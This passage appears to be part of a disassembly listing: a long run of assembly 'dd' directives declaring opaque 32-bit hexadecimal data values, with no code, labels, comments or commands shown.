		dd 0DCDDF739h, 0D1861EBEh, 0D5144D19h, 408BDDF6h, 77E3C0F5h
		dd 31ED832Eh, 3BA7EDE2h, 0D7068097h, 9C069D0Dh,	5A486355h
		dd 0AF081262h, 0E1F781DDh, 0BB8199B5h, 0E77C51C7h, 1CCE603Bh
		dd 1F6C5B81h, 1216A6A4h, 886D452Ch, 0C9D563Bh, 0C26962A8h
		dd 0C353B50Bh, 71D68A12h, 5E370820h, 2255D987h,	2CA0CBF4h
		dd 17459F13h, 0C1EF94D6h, 0A5AD22B4h, 494D5C53h, 0B7586989h
		dd 10995248h, 800F4039h, 0F9E40CC3h, 130BA2A9h,	0D6C9BD55h
		dd 92B3C23Eh, 405BA9A6h, 9D805120h, 49F3EE0h, 76012025h
		dd 0EA210C74h, 0BF5E5032h, 37770440h, 6801042Dh, 908DACAh
		dd 823159h, 20B44F4h, 60D68768h, 27395BC8h, 4AFE37FDh
		dd 1A569430h, 0F12F4C2Eh, 0C1AB17Ch, 0C169F526h, 0DCB2700Dh
		dd 0E8E78B05h, 54F1C54h, 1E94552h, 148D24D0h, 0B7118D70h
		dd 7DD04BBBh, 5A833EE4h, 5E54D21Eh, 0C82DF58h, 366122FFh
		dd 0C4F39B6Fh, 8B3356EBh, 0E907628Ch, 0A078D094h, 0C031BE4Eh
		dd 66E3CF93h, 68C16438h
		dd 82841805h, 0E27BE935h, 79E9972Bh, 0CBB04497h, 81B3109Dh
		dd 591243EFh, 1CD87338h, 0F34AC3E9h, 58C4F2E8h,	0A3AA347h
		dd 6D3CCF68h, 7510DA42h, 1551DE18h, 5B6AFE16h, 0E3CD8CE1h
		dd 0CEA777CEh, 8EE94131h, 6EEB4999h, 0C9C652C4h, 0F882059Ah
		dd 0FE21C9B2h, 1FCD5504h, 6C05E210h, 0AF663F08h, 6908D650h
		dd 68AAFF0Ch, 53DB1742h, 0B0BCA93Ah, 0C63B96E9h, 0F294D10Bh
		dd 58E58807h, 0AF5CDFEh, 397E1EB8h, 0B40481E3h,	8174063Ch
		dd 2103FE02h, 0C19760CFh, 8B8F79BDh, 0F3C45ACFh, 13EB9A1h
		dd 0F84C7C31h, 2D75985Fh, 0F0D19B79h, 0E9055CC0h, 7DCD052Eh
		dd 12DC801h, 3F685907h,	62A97335h, 6AD1D4Ah, 84E6629h
		dd 29FF39BBh, 7B6C2559h, 0DF70086Ch, 79E7823Eh,	5E63464Dh
		dd 8A772D87h, 0BC011BECh, 5FFD2968h, 9F0CE9C4h,	38888988h
		dd 2B19360Bh, 462D9740h, 2965ED16h, 41EB8BC4h, 6C456AA4h
		dd 29452A1Dh, 8E5397CBh, 50F91BAh, 0E4CBAC73h, 0A749F42Dh
		dd 0FD258CD6h, 0DF0B4F96h, 8F01FB62h, 0D66F20AFh, 9BA5245h
		dd 6DCC6CEEh, 358A8475h, 85F92394h, 2660E092h, 54124709h
		dd 20E85746h, 0E606814Eh, 42B35D23h, 6FC6050Eh,	0FE379935h
		dd 18B08A91h, 433556EDh, 1B8C1282h, 0C4E00CD3h,	0FB306488h
		dd 54E43A3Bh, 0E5244ADEh, 5F080201h, 0C3BE4EDDh, 7B4D4AEEh
		dd 0D203AFEDh, 0CC16CD22h, 57156480h, 0F0115A31h, 0D8D756C2h
		dd 95B2E0Eh, 4255D4E8h,	77091513h, 8916FDE0h, 5BD9ACA8h
		dd 3685E0Bh, 2074C663h,	5F7E4F2Bh, 53369D2Fh, 234AF83h
		dd 7F740B95h, 1D38ADC6h, 65EE5BA3h, 0C3A6EEB9h,	0F37C21D3h
		dd 0D55D0271h, 37D8D5C3h, 64824DADh, 816576E3h,	6E9749B9h
		dd 40A0F110h, 3C4F3BBDh, 0F7E3CDC2h, 65FDEB42h,	7E98A755h
		dd 469D4481h, 31F495DFh, 98871092h, 0E6A202BBh,	0C33000E8h
		dd 435A6E68h, 5C28C8F5h, 2F26E15Ah, 0CDDF88BCh,	0D067C5A8h
		dd 0DD3D272Ch, 0F4429583h, 0D10402DFh, 0D512E368h, 0EB76BC36h
		dd 697BF9B7h, 2A7F6E77h, 0A2A26DA7h, 8C9C57DFh,	0A50BE35h
		dd 9E3387A8h, 34E9E153h, 0D4442F68h, 9610E442h,	115FF004h
		dd 2214C00Bh, 909E575h,	0C088E947h, 0A0EA8391h,	80F5F499h
		dd 63649F68h, 34B1646Fh, 82FF253Ah, 68019036h, 8A771AD8h
		dd 0FB016458h, 0F722402Ch, 0D37A30D0h, 0F6DDBF25h, 0A45C2DABh
		dd 9ED1555Ah, 9721DFCBh, 2B44BB68h, 41E99B60h, 0A4C6B7D5h
		dd 0B62F1A25h, 0E4E96258h, 0B8E401D8h, 144E020Bh, 402A0B0Fh
		dd 17EEBD6Dh, 57604AA0h, 2974BC93h, 9220D655h, 0FAD3424Eh
		dd 0ACAAE44Eh, 5402E4EEh, 2125668h, 0D674C8E9h,	58C60901h
		dd 5860D6F7h, 20CCB7DBh, 0BC669800h, 0A6FEB976h, 29D31363h
		dd 0C93770F1h, 7D2778E1h, 8E5F7C25h, 820B871Dh,	2F987CD8h
		dd 5F81DA7Dh, 0CED4330h, 5DB932ACh, 6905D0FAh, 0C5092591h
		dd 73B700FAh, 0E9359D66h, 0EACF0E25h, 0D8128B19h, 0BF84E02h
		dd 0F7004AE4h, 0BEE3B7E8h, 25925248h, 0E92DF4B4h, 590943F1h
		dd 0DD90FD01h, 104045E9h, 0C4B45F68h, 576DAB45h, 4E1A7D5Ch
		dd 78BC33B2h, 81277C80h, 61A2F502h, 40455C36h, 0F1D7ED6h
		dd 60E940E1h, 1177719Ah, 0C564E8AEh, 53BD9864h,	0D1103302h
		dd 5B51131Ch, 7C5D4D43h, 28C19557h, 34F04C3Ch, 53E91855h
		dd 0FBA2ADEh, 0BBBF3928h, 40DBFE2Dh, 62C5689Fh,	0EB8E5566h
		dd 0FD55445Ah, 42F86EA5h, 0BCF05392h, 13160065h, 47E91ED8h
		dd 0F979AC4h, 28A16DE6h, 240CD75Eh, 95D88292h, 95521CDDh
		dd 0DCEA6DF6h, 0BB667BB0h, 8AE8FF34h, 0A3C89F65h, 0E52468E1h
		dd 0B462AB32h, 9F605FDFh, 4860EC80h, 0E3281406h, 517CE758h
		dd 0D9689404h, 0B2D08C7Dh, 494E170h, 74CD7E0Ch,	0E48AFD5Eh
		dd 0E957CE29h, 141F7AC0h, 8D8C4550h, 41B82402h,	0E53382E9h
		dd 54F63DB7h, 0B4EAEB26h, 30F34B06h, 0BD34FE88h, 0F06620A5h
		dd 362C7B0h, 45B44D1Dh,	0F3210BE3h, 3AFAB707h, 73706987h
		dd 0E754CA02h, 0DDEFE930h, 9E570A09h, 3AE91A72h, 0BA8020B2h
		dd 0D4A0C52h, 0D86277F6h, 0D543B720h, 0BAC0436Eh, 0E9FC8850h
		dd 0D0D65B63h, 1243A1D5h, 1AFB734Ch, 0FC316FE6h, 8F4D0811h
		dd 0D5B60725h, 0F4AFA595h, 96970C74h, 5B54519Dh, 26E9068Bh
		dd 990D6A20h, 312EA920h, 2FBFAB50h, 5F484166h, 84C028AFh
		dd 2216DFBDh, 4BA95EC1h, 0B028278h, 1C605753h, 59B5E874h
		dd 0AFA5BC92h, 0E3C1E002h, 46939DE8h, 0F032EA25h, 0F04B61FEh
		dd 61CC3C47h, 5E97E884h, 0D865A527h, 87997D1h, 0C3A46007h
		dd 1F6175D9h, 5D806409h, 17F3313Ch, 78DC4C7Ah, 2D45B65Ch
		dd 9A7B13FEh, 2769E4E7h, 0C310394Fh, 6880B0E3h,	91FB9B7h
		dd 0EC11C6A2h, 0B1B36BF9h, 0D305AA48h, 0C76B8D2Eh, 58FF7187h
		dd 5CC46A97h, 2CEF2FC5h, 0FC2E684Ah, 585A127Ah,	99F1B74Fh
		dd 75FE8F71h, 0ED62BBD9h, 5252DC82h, 9B5CE240h,	47C87F82h
		dd 0C03E0B0Dh, 0CF899632h, 2D577853h, 0FC20292Ch, 353F6B3h
		dd 14D0BD55h, 82FD6EA8h, 6CDE21A1h, 986B70CBh, 59890E61h
		dd 0E9C07023h, 514E67AEh, 0B17CFEB5h, 52948296h, 7DF7AFh
		dd 0A02D37BEh, 0C5609D22h, 0D180B59Dh, 1D4CA5EDh, 0FACC5990h
		dd 29EC7CC0h, 0FA12EE58h, 87D79A20h, 40B790FEh,	382D6819h
		dd 0CA9C628h, 6D7B1244h, 8496EBCEh, 0E0ECC693h,	0BF68FF4Ah
		dd 298D4080h, 0EBD2F762h, 4F44F486h, 450F3806h,	6C13F307h
		dd 27B2253Eh, 6012D6A9h, 6F46038Eh, 39B24AFAh, 22AF99Fh
		dd 2BE275ACh, 896E6057h, 5C26CBF2h, 728288C8h, 9B7A923Dh
		dd 0AC8DB2EAh, 2AE6D9BEh, 0C68BCAF8h, 6682D029h, 5D079C68h
		dd 4E61A3C2h, 1E5E99DBh, 51670D1h, 9360ACE9h, 2DB0B832h
		dd 292B7A4Ch, 267AE0Bh,	17564F1Eh, 9FDBD8F7h, 50EFAD60h
		dd 296E9717h, 4C94A1BCh, 2DCA1A2Ah, 0E06601C6h,	0D68A447Eh
		dd 0D8178890h, 8B3A1924h, 86A62BBBh, 417D7BAh, 0F97A46E7h
		dd 21EC068h, 485B615Ah,	0D36E77C1h, 41047711h, 0F0CB0987h
		dd 4B81BF2Ch, 208F282h,	93D8FE40h, 3BE95613h, 987ABBA1h
		dd 0BE617069h, 5C0A6816h, 0A6C1B46Ch, 831FB448h, 33170FA4h
		dd 2B5A0009h, 0E9587627h, 719D9B9Fh, 815E9797h,	70DDB5E5h
		dd 97908AC9h, 0C19C329Eh, 0F74FFC84h, 685DCF90h, 0F62E5F3Bh
		dd 0F8989286h, 809040BBh, 608C732h, 896DE0A7h, 0FE2980DCh
		dd 533856BFh, 59BDC6B0h, 0CA57383Eh, 716574EBh,	3B251088h
		dd 0F1680E3h, 564F62A9h, 5D9596E4h, 0E91CF29Ch,	0D52FB2C3h
		dd 0CE9AE994h, 0AD04FEBFh, 60342154h, 1FF260AEh, 0B1074C38h
		dd 88E9DF21h, 25CDC68Bh, 49CEA7E6h, 0B27E5B75h,	7BA91B27h
		dd 0D76886DFh, 0AA5F9D7Fh, 6C63B8B1h, 1BCC581h,	4CC23CC0h
		dd 3008450Bh, 0A5FB5F05h, 244A012Dh, 0FEEE357Fh, 0E8294569h
		dd 0F066811h, 287D7625h, 0DFAF24B9h, 82DBCCCh, 4BFA774h
		dd 486A1072h, 4DAF02C0h, 5AF24BC2h, 8CFC6867h, 0E34E31A8h
		dd 0BC4ED9F7h, 5456C04Ch, 0DDAB9EE9h, 8513FB26h, 9FE2F812h
		dd 2DA45392h, 505997CAh, 0FAAF1D31h, 5A3A97Bh, 38A7FF9h
		dd 0C298A6EFh, 0DDC7CBE9h, 210CB7A0h, 682F4DB8h, 97386687h
		dd 691A3D09h, 1E084C1h,	4A21F501h, 7D2A7ADCh, 0E592282Eh
		dd 0ED81020Dh, 421D5B31h, 7F5AF5D4h, 5A16E1FBh,	8B5768BFh
		dd 0E0A66EEFh, 0F482E892h, 886BD1D9h, 8A416A36h, 0EB03D728h
		dd 891EA708h, 0C271DC79h
		dd 3C0D74E0h, 2AB051E9h, 262EB67Fh, 0F1169955h,	4F5459F0h
		dd 4C429F58h, 4C7C1C49h, 451C7727h, 0A8D5F30h, 4C66F720h
		dd 0FF09115Ah, 3E02EFC0h, 6801C50Eh, 0B72A5159h, 0D102340Ch
		dd 234F00ABh, 0E6816F42h, 18497900h, 51EED126h,	55F704B9h
		dd 0FF290519h, 3F1358B2h, 0D635F2DCh, 1860F6B3h, 6AD9739Ah
		dd 82E7D2BFh, 5E226408h, 0CF7FC153h, 0C2515477h, 32556F68h
		dd 7B4B7F44h, 0D48271BDh, 0B67B92D6h, 245C330Bh, 0CBFE5091h
		dd 0CBB816C2h, 0AB0D94FBh, 0F965641Dh, 0AFE18E65h, 47852E1Ch
		dd 222031F1h, 0DA842FB2h, 675FD8BFh, 0C5EDB960h, 82D0D2C8h
		dd 9021EB75h, 9527FE79h, 0E951AB80h, 5699F64Fh,	9617D7A5h
		dd 10DEEB10h, 6E6813B7h, 0C92BEFCDh, 0D5EB4277h, 0BA685700h
		dd 17432571h, 14866075h, 3F8F301Ah, 57B4E70Eh, 0FA06758h
		dd 0CB0CEEF7h, 0FD12095Dh, 0E9B59D16h, 42605FB7h, 0B119D6F1h
		dd 823232F7h, 7371D8E9h, 41D7A075h, 0E842884Fh,	2B752F0Fh
		dd 5DC258C8h, 5B58FE6Ch, 0CBEB87Dh, 796E0387h, 74133B0Ch
		dd 41BA46EBh, 0CF4C30A2h, 43822F27h, 7F21DD05h,	7EE8835Ah
		dd 0E9B07BBCh, 0B8A83493h, 2E16BFF6h, 0CFE5532h, 0B4144E1Bh
		dd 40E5A92Eh, 96FDE27h,	6F3E19Dh, 2F2ACCADh, 0BBC02981h
		dd 494047E9h, 0DB041359h, 1E61F85Bh, 0C3672C24h, 9EAFEFD8h
		dd 1028630Dh, 68520ED3h, 0AF1256AAh, 9E0003D9h,	68848B5h
		dd 0F68059EEh, 974A5541h, 82694AEh, 0C52F14CAh,	98CA205Bh
		dd 21740936h, 19DC7DF5h, 12856308h, 3202CD5Fh, 1DA3171Ch
		dd 0C72A378Dh, 0A66F1B8Dh, 0A84EB0AEh, 29024A3h, 1731E503h
		dd 71AA8C40h, 2D6EA522h, 0CB403CE9h, 0C13A2BFh,	0D11F1992h
		dd 6557C1D3h, 0FF02C4BBh, 111221B6h, 0C3BF2343h, 451EC8B8h
		dd 514FBFF8h, 0C7C162F3h, 41490DE7h, 461C5A98h,	774B605Ch
		dd 3F27FFEDh, 1DED3AE8h, 0EB1B6600h, 7E57B705h,	66509503h
		dd 8C030782h, 0FB85CF8Ch, 0E983EC8Ah, 30842A14h, 5BE06F46h
		dd 0BA38042Ch, 0E471FB09h, 0A006D07Ch, 4C614078h, 81AD35AFh
		dd 0F36BB2FDh, 0E9019340h, 743F4221h, 0F02A70h,	529B270h
		dd 44E5A5C5h, 0B081315Bh, 5299C67Ah, 0BF95CA51h, 9E2504FBh
		dd 0BBB5863h, 44C0C1ECh, 0A3B1A5F9h, 40FAFF13h,	29E7F77Fh
		dd 78DD15D2h, 7E9B39C6h, 1ED1F20Ch, 12E9898Ch, 17B0CC43h
		dd 0F7B4441h, 40652DEDh, 1FCD04AEh, 0C8E2EE9Ah,	8F688A25h
		dd 4BBE58C3h, 305DEADh,	3F601471h, 46DF5CDAh, 5B0C810Dh
		dd 1F3D56Fh, 6315E881h,	815960Bh, 40D81EA4h, 31F5BF94h
		dd 0BB501ACh, 5F1B22D4h, 592852B9h, 485501A6h, 0C9E98FD6h
		dd 3573286h, 80CB8103h,	5253DA08h, 18C3016Eh, 0E94DF467h
		dd 49F32F27h, 41BF3E40h, 0DCB231BEh, 5E95A510h,	4C3AAF7Dh
		dd 4663F75Ch, 0E6FE844Ah, 0ECDD84D9h, 0AF009114h, 2DEEEB17h
		dd 0F82F2A35h, 0A4AC21Fh, 970B6407h, 0B815B00Dh, 2A2127ACh
		dd 481FFBDEh, 41790FC1h, 321053Dh, 0C06611F7h, 0F1ED02C9h
		dd 7D42AF16h, 3F72ECC8h, 95B3B82Eh, 0D7D2E90Bh,	9E54A6C6h
		dd 0A109BFECh, 60630267h, 814072F9h, 67906E31h,	4F835BEBh
		dd 6004AB10h, 29FADCA6h, 96C56D3Bh, 0AC4CCEFh, 680B41BEh
		dd 0F3E675A6h, 70E9DD12h, 2BBDB1h, 6104F34Dh, 0EC802944h
		dd 66202D13h, 98655C07h, 8F86412h, 7F855D14h, 85A8D45Bh
		dd 0A145FA73h, 0FD82D529h, 0ECE10BC5h, 25626B55h, 55DCB85Dh
		dd 9EDA67Bh, 88F6858h, 0EC52BDB9h, 6AE164F2h, 2AA999B8h
		dd 6612D98Bh, 0AC7A41ADh, 0E871FB45h, 85C60FCDh, 3E1E84F1h
		dd 1616D987h, 68DD426Ah, 626C6CB2h, 0C853D40Bh,	20CB58FCh
		dd 789D9CD1h, 0E1C8B560h, 0C590DA29h, 0FE9F209h, 455768CFh
		dd 3CAFDFD6h, 6F92C22Ah, 26E5C854h, 0C412D0A2h,	6F5CA930h
		dd 22980591h, 0D5803D20h, 96E0BF8h, 0D208E92Ch,	0F15DC51Ah
		dd 37CB0B4Ch, 0B34F86F9h, 0B22AD769h, 0A78CC6C3h, 37F9955Eh
		dd 2DD052EBh, 7F67498Ch, 0AC416CA8h, 0D0C05DCEh, 899B6C3h
		dd 509242AEh, 8CFFDB52h, 0D94A7726h, 307B79A7h,	0C299D782h
		dd 0BD2C09A8h, 0E71AEDBBh, 2C56F616h, 28018416h, 5B0B12DDh
		dd 842CE946h, 5BC1F5F2h, 17E43E91h, 0F83772D1h,	9C15B85Bh
		dd 9D1009B0h, 0D94D7F0Eh, 0F9F003A1h, 314FAED0h, 295BDF0Ah
		dd 0B36450FAh, 926643B0h, 97C67D97h, 21C3B77Eh,	553726F8h
		dd 2DC61087h, 5A76D15Bh, 0AF2DBC20h, 784EEB2Fh,	433E91C0h
		dd 413F013Bh, 21E9E1D1h, 5BCA2F68h, 2B25BA10h, 0F725E25Ah
		dd 20A99E93h, 9082DA5h,	7FC06805h, 0F76064C4h, 1DE959C6h
		dd 454C958Eh, 2A625394h, 0BCF1D596h, 85436716h,	98F18149h
		dd 0C07F853Fh, 0B677450Ch, 0CF4A217Ah, 0E9D64EB2h, 0E7057D4Fh
		dd 28AF056Bh, 0FA9BC400h, 8201DF58h, 918B47FFh,	0C2E982DAh
		dd 45F9F5AEh, 4AE9426Ch, 6894005Eh, 0FDB441Fh, 3340CA90h
		dd 5EFD9841h, 8490F2D9h, 0DAC005E7h, 0E9D35344h, 1289EEFCh
		dd 0F0628B16h, 8A2C6D7h, 7B7F17B8h, 891FEEA5h, 5FD43367h
		dd 898DB80Dh, 0ED1C025Eh, 94840FF0h, 43F2BE82h,	18CBF696h
		dd 0BD0A5103h, 0F89816D8h, 0B73E4482h, 366E492h, 68063612h
		dd 187613AEh, 13961698h, 0AA983B7Ch, 51044EFEh,	4E2C135h
		dd 0CA0FB8ECh, 7B000930h, 675AE94Ah, 68039095h,	0BF27700Ah
		dd 5BC02156h, 509FF0Dh,	3323E981h, 65738131h, 0BBCA82CEh
		dd 0E0F71649h, 8264B34Bh, 0A539D174h, 7E47F841h, 0DB9D2702h
		dd 6A2034C6h, 4BF3B0BDh, 4EE2EDEAh, 0B93F6E2h, 92FB3CFDh
		dd 7F71E269h, 0EC15FE4h, 446E1E27h, 0B822E410h,	52013C34h
		dd 9099410h, 762A75E9h,	6CE2532Ch, 5F16A95Eh, 0B8460005h
		dd 0E3211D92h, 5131C9F1h, 681D9C7Bh, 0AB9B64F4h, 7340A53Ch
		dd 0EA643h, 96899A1Bh, 0F395F031h, 4FBE0871h, 34B04E13h
		dd 23FF2768h, 12E04198h, 0DAD85C81h, 907B9752h,	32D88B88h
		dd 0F8D4D5CAh, 0DCFEC116h, 319F1119h, 0E038EB5Eh, 0ABA72D17h
		dd 0C1BABE13h, 2A943245h, 0D33E2CE7h, 183BB2Dh,	40BAC2FEh
		dd 90EE7CE4h, 7CB44C1Dh, 4267F281h, 3F20620Dh, 4E5D0292h
		dd 0D876E91Ah, 45AA155h, 813AED80h, 2DF18ED3h, 6DA092A9h
		dd 6DD49754h, 2F4EF763h, 27427BC9h, 5AD5EC03h, 0E2813FF8h
		dd 835D7612h, 0E306BFACh, 0C7F5529h, 0A0694408h, 0B9F50131h
		dd 0A58975D4h, 8B365E3Ah, 72B071CDh, 0F326853h,	78767157h
		dd 0DF554E6Fh, 5FBC5895h, 0E4AE3095h, 21955882h, 0C42CC797h
		dd 4071B56Ah, 78E93AD2h, 1E8CA75Fh, 297BC49Ch, 0FA14C5E8h
		dd 0F88479D7h, 178184C3h, 0AE362C56h, 0FC4AF5CAh, 4329B1BBh
		dd 0C14CB123h, 0DDF8C62Fh, 452F27B4h, 9F4409BCh, 95D21C5Fh
		dd 429F7A4Ch, 4245C5EAh, 484BF72Fh, 9B4B6EB0h, 0E3C9D9A0h
		dd 3E9E0416h, 2B601B01h, 0F3F0118Ah, 84F812F7h,	0D67E0BCDh
		dd 68DB79C8h, 0EFC1C450h, 9042A09h, 56590433h, 77AC0580h
		dd 0AA134A55h, 0A940990Bh, 4218DCD8h, 0F17FF079h, 4925BDB6h
		dd 0CB736862h, 7F7FB88Bh, 93B0CF4Ch, 30174A4Bh,	6EA90EECh
		dd 90364EA6h, 1A76EA51h, 29583EFEh, 0F28B5E90h,	39619F04h
		dd 384AA03h, 2FAB5484h,	6CF45A08h, 9D2FE343h, 0B9F23C06h
		dd 570B496Ch, 0E17253E9h, 8BA4F73Dh, 57216309h,	0E91882CCh
		dd 0EF29D37Ah, 0F8B4331Fh, 5E9FEFEh, 50C25317h,	78D557E2h
		dd 3D91B49Bh, 930FB01Eh
		dd 0A43A04C6h, 0C7FE00CCh, 9502F780h, 0C0FCCD50h, 1806E23Dh
		dd 1B0634C2h, 680E1304h, 51092191h, 92B23E46h, 2ABE5601h
		dd 6E70A56Dh, 0B31FD4ACh, 128D71Bh, 9F127E00h, 0F9CC302Fh
		dd 0E78DD302h, 5C5EF509h, 0FDBC3A10h, 13702FDh,	0C3D3E9EAh
		dd 0CB9D92AEh, 0D266BCAh, 0CD0F6A4Fh, 0A414D766h, 23CC01CBh
		dd 4E6DF25Eh, 6021AAA0h, 8004A495h, 3674AA06h, 24445760h
		dd 183E661Fh, 0A401EE83h, 8E2D89D1h, 9F10F83Ch,	89289251h
		dd 0CBA5840h, 1BD40B34h, 6F26254Eh, 0D9166640h,	0EC506BF0h
		dd 876741ACh, 0B2520280h, 0E9D2F6E3h, 0F97AFD1Bh, 5C662CD6h
		dd 0BAFC0416h, 97E3884h, 3F05D75Ch, 4A23ED2Bh, 0A22EC7FAh
		dd 1975F273h, 35A41E07h, 3C892CACh, 0B448A88Fh,	80280AF3h
		dd 5D686185h, 42E72F6Ch, 7345BF00h, 0E7D12E7Ch,	620945B8h
		dd 5C2C030Eh, 0D7E2096Ch, 9D899F5Ch, 0C1337F50h, 93CF5B4Dh
		dd 7977108h, 0BB062CBAh, 0D1EA1080h, 234BF718h,	54FE2A85h
		dd 210B5B6Fh, 95835BDAh, 3A6BE4DCh, 3F2F7796h, 0A89A9F65h
		dd 5193C126h, 0A53B1E73h, 182967E8h, 0B944CC9Fh, 14133FE7h
		dd 55FE6C60h, 21241B10h, 0E100FFD9h, 64D749EEh,	8EE825E9h
		dd 3512305Ah, 0D0FAF33Ch, 5674C6FDh, 0C723E30h,	25D667A9h
		dd 447E89A0h, 41CCB42h,	0E3BDAB5Ah, 8A86809h, 0F774FE9Ah
		dd 0B93E5151h, 2FA4B45Fh, 0F970A314h, 446A1865h, 0FD1B4E20h
		dd 64568FB9h, 0BDE4039Ah, 0CC025E68h, 0E9185B6Fh, 0EAEB83D2h
		dd 824F12A7h, 0A95E0925h, 10A622FEh, 0C2DF371Eh, 330E7EFBh
		dd 0A97FEB6Fh, 2833D847h, 0BA9F801h, 3DFD32F2h,	7A5FBCC1h
		dd 50E96230h, 19C4B517h, 0C1107920h, 4C38A578h,	190C825Dh
		dd 0F7D4BEFBh, 78B1E089h, 4E8A7B5Bh, 0C3C60114h, 784AC100h
		dd 67966815h, 2037C697h, 73FAD2DEh, 24A5B9Dh, 42E13652h
		dd 3028CC56h, 5C253AF2h, 0F7314241h, 2E4A9880h,	69B57D37h
		dd 730F201h, 7FF7F8D0h,	1BAB8DAh, 2B9E2A13h, 3ED694E9h
		dd 0A42B3899h, 855A1807h, 4ED51AECh, 5779512Fh,	0B880DABCh
		dd 255936EDh, 967A09A7h, 0A7610882h, 0E4BF05D6h, 0D040E623h
		dd 0F066FE80h, 64644FD1h, 88CEAE59h, 0BAF6A825h, 1E7955D2h
		dd 0B14FE9C1h, 20F01397h, 50AC687Bh, 0CFF098BFh, 3BB98108h
		dd 5FEF6A95h, 0B4809603h, 0FEC1D9E0h, 25F8760Fh, 4665EE2Ah
		dd 97584F04h, 389DC243h, 9197ABBDh, 361ACF91h, 8798C17Ah
		dd 3B913FC2h, 693E0EBh,	0B4AA591Eh, 0F5366A82h,	0B78D24CBh
		dd 6802429Eh, 0F1B15103h, 0A740D1F6h, 63C9FEC6h, 13E1B4D0h
		dd 88C0C1D3h, 302D59CBh, 6B9A75DAh, 775DE255h, 56B5454Ch
		dd 2C2CAEFh, 109B01E9h,	9218E028h, 455F2E5h, 9131576h
		dd 0E5F600D6h, 0FE210664h, 134C7EC3h, 0BC290A7Bh, 430841ECh
		dd 0E35BC00Bh, 1F29C804h, 0EDD7F512h, 6403A8FFh, 24520826h
		dd 320BD0ACh, 0AEB25718h, 8CF3BC08h, 0B7C23166h, 40CCC04Eh
		dd 21E82D68h, 0D9BA3EB8h, 6EC00112h, 6F048F13h,	8DAA500Eh
		dd 31E96129h, 0E2C725A1h, 644F115Ch, 8BB2562h, 84283B1Ch
		dd 58476A97h, 387E0F88h, 0F1A06650h, 4FB55F0Ah,	1B749FCh
		dd 20D24499h, 0F6F29270h, 20559768h, 986B303Dh,	107A9DE0h
		dd 0B334E0B5h, 77FAAAB2h, 5C986695h, 16FABBEBh,	0EB7B1D3Fh
		dd 4F0A78Ch, 0E9284F34h, 0FE8B8F4h, 0EDA8743h, 0FD429277h
		dd 7537FCBEh, 679CEF8h,	9F4E4EB8h, 0FD088407h, 0F5805BE0h
		dd 76C7E6C0h, 43EF3855h, 6010DD73h, 287F59F6h, 58C3E912h
		dd 5F8FBDE8h, 0FB94B925h, 0DF4106E2h, 9ED2AC3Eh, 0AC44F10h
		dd 0C3161E7Ah, 61CD86A2h, 0BB2C038h, 0CF41A2B8h, 178DEB20h
		dd 0AE76061Dh, 89D65EC1h, 20EED101h, 7B0F6F5Bh,	0E9563582h
		dd 53B18B5Eh, 85BB88DAh, 0C7895704h, 586C0FEAh,	0A44C6B89h
		dd 83B09E98h, 78308F5Fh, 0FD14203Dh, 0F302B17Dh, 88A101ECh
		dd 6804A2F6h, 81AA33C3h, 9DCD373Bh, 7E89483Ch, 74914894h
		dd 20C13013h, 4339180Ch, 0B01293Eh, 5EB48EE9h, 0FF0BEB92h
		dd 2258ABF6h, 60189520h, 7C9DDEB8h, 0B35E370h, 4BC77927h
		dd 0BEE3DBA9h, 0E370E12Ch, 49AC4189h, 3CBEE5CEh, 9B53C75h
		dd 0C5AF528h, 9497A20Eh, 358241Bh, 0A3B353F3h, 8581E3F1h
		dd 0D3F68606h, 5FEBD3EEh, 0DB71C785h, 0CE289603h, 0E9D304DDh
		dd 6178E16Fh, 0C2B22A31h, 9A405D89h, 561E02BFh,	8C8E01E5h
		dd 0A2AA1267h, 0F0A95B98h, 0F978E418h, 7F1EC5CAh, 1DC83EEFh
		dd 54BD0163h, 702E7B3Bh, 4E12DF70h, 4F946C03h, 895D0802h
		dd 3A01F7CEh, 0CADAA330h, 0C4537FC1h, 12C5573h,	82019F5h
		dd 914FF89Dh, 0D7770BA4h, 1FA23C6Eh, 20AF6C77h,	0BE24021Fh
		dd 8A60F601h, 0BE737C15h, 15DD3B46h, 0ED05524h,	0FB16C552h
		dd 7F596F63h, 0F968620Fh, 0B8E3C280h, 8A7A7DB2h, 2B2A9C0Ch
		dd 14226254h, 90452873h, 0B529EF0Eh, 0E9CF47F3h, 52A21B99h
		dd 0A3F93BE6h, 0C84CAC82h, 0EAA4069h, 657F2537h, 0DE8B60D5h
		dd 5FF99055h, 0AAD2738h, 0D7EB006Ah, 134C74Dh, 411FCB58h
		dd 89E83A08h, 0B51A69Fh, 0F07EA2F0h, 4385F78Dh,	2D224AD4h
		dd 0E4766D88h, 3F4FD820h, 5DB30B80h, 27297946h,	52F45FFBh
		dd 31E9D3C0h, 4926B4A2h, 5F767F5h, 0E2582E68h, 84513C64h
		dd 0D43758Fh, 606E26B3h, 46055AA0h, 0EC02E281h,	0E9219D68h
		dd 4DAD067h, 13276CB9h,	84288063h, 554A7AC0h, 77D19EC1h
		dd 1DF78665h, 16EFC986h, 82B01EF6h, 0A5015315h,	0D5E0BCAh
		dd 0A0CEE962h, 44685595h, 60955C15h, 0CE936F13h, 0F2257EF0h
		dd 0BFFF52A6h, 388A2740h, 816FD900h, 0A2342DCDh, 136DB042h
		dd 41847B7h, 9F866ACh, 17635505h, 3E81DDD1h, 76F708Ah
		dd 41F7A0EDh, 7F68506Fh, 39AE4217h, 677F60BAh, 4419F997h
		dd 3B6EADC2h, 6AE792E5h, 0FC7E9B8Dh, 0C458302Ah, 7C180A8Bh
		dd 0B9FA257Bh, 2DA70718h, 0A0D10180h, 8012F038h, 9603B050h
		dd 3058C228h, 5A212DD5h, 80F855DCh, 2C2607C5h, 0CEE8280Ch
		dd 4B7B9A96h, 69C2AEFh,	0A7D685Ch, 0AA8171F9h, 1F345E9Eh
		dd 0BB146DBFh, 5DD7022Dh, 9B25D214h, 0A76F51B9h, 3E1731D9h
		dd 8BBB6756h, 0D997441Eh, 0DB8B184Bh, 62C90500h, 0D801583Fh
		dd 5B072D50h, 0C05FE97Bh, 0BB135475h, 78D1F2F2h, 16372811h
		dd 318861B1h, 1CF70976h, 0DA08EE29h, 5AD68B08h,	0C976E42Eh
		dd 8EF093B1h, 50260D22h, 376834DCh, 0D3A70BC9h,	0C5CFA451h
		dd 0A7B39D28h, 0FD417427h, 0CAB6805Ah, 12C26064h, 0D8F70992h
		dd 0AB5083E9h, 0A2B65D95h, 8ABE916h, 0C1D64223h, 5895DFA4h
		dd 0EED3435Fh, 1721782Ch, 8A148BD3h, 9EE84A6Eh,	0BF6295E4h
		dd 9210ACF0h, 0C2681818h, 0CD09EB4Ah, 0B6187D82h, 79F80F05h
